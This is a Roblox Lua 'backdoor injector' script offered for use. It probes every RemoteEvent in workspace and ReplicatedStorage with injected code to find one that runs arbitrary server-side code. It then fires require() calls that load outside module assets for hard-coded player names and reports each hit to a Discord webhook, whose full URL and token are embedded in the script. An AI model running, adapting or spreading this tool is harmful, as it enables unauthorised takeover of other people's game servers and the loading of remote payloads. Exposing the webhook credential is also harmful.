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--BEFORE THIS LETS MAKE SURE UR A PLAYER FIND (localplayernames) AND CHANGE THE STRING TO UR NAME, THANK YOU.
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print('the start webhook')
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wait(0.5)
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--fixed now
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--Example injector
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--You can make ur example injector too!
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webhook="https://discord.com/api/webhooks/1101853999440867349/cvuTsmIDMtuey65LDZ2ITSXSLLswQH8bTxbXG1TPJ5E_Dj4kfjvPfRXoJ4mTsVkCT6xU" --paste ur hook from discord :D
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webhookenabled = true -- if u want for ur bot say if game is injected and sent the game to it.
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--webhook status
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function backdoorMessage()
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	if webhookenabled == true then
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		print("messaged to webhook") customdata=[[
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localplayernames='stopthe_stupidbans'
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localplayernames='JawStopper20'
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 require(13296086768):BringWebhookOn(localplayernames) ]]
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wait(0.5)
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if attached == nil then repeat wait(1) until attached ~= nil end
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if attached ~= nil then
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attached:FireServer(customdata)
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end
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	end
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end
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--attach server
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attached=nil
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function backdoorThing(child)
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	for i, thingy in pairs(child:children()) do
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		if thingy:IsA("RemoteEvent") then
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			local execute=function()
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				thingy:FireServer([[
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whilelistFolder = Instance.new("Folder",workspace)
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whilelistFolder.Name = "whilelistFolderProjectLigmaFeStuffToGo2222"
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game.Debris:AddItem(whilelistFolder, 1.5)
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]])
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			end
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			spawn(execute)
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			spawn(function()
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				_G.whilelistScript=nil
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				wait(0.16)
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				if workspace:FindFirstChild("whilelistFolderProjectLigmaFeStuffToGo2222") ~= nil then
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					attached=thingy
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					print"done" spawn(backdoorMessage)--example prints and webhook messager
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				end
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			end)
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			wait(0.265)
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			end
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			backdoorThing(thingy)
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		end
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		--free
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end
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backdoorThing(workspace) --dont delete workspace
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	backdoorThing(game:GetService("ReplicatedStorage"))
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	wait(0.5)if attached == nil then repeat wait(0.5) until attached ~= nil end
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	if attached ~= nil then
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		print("attached / name " ..attached.name)
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		attached:FireServer('require(13285164673)["Project Test"]("' ..game.Players.LocalPlayer.Name.. '")')
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	end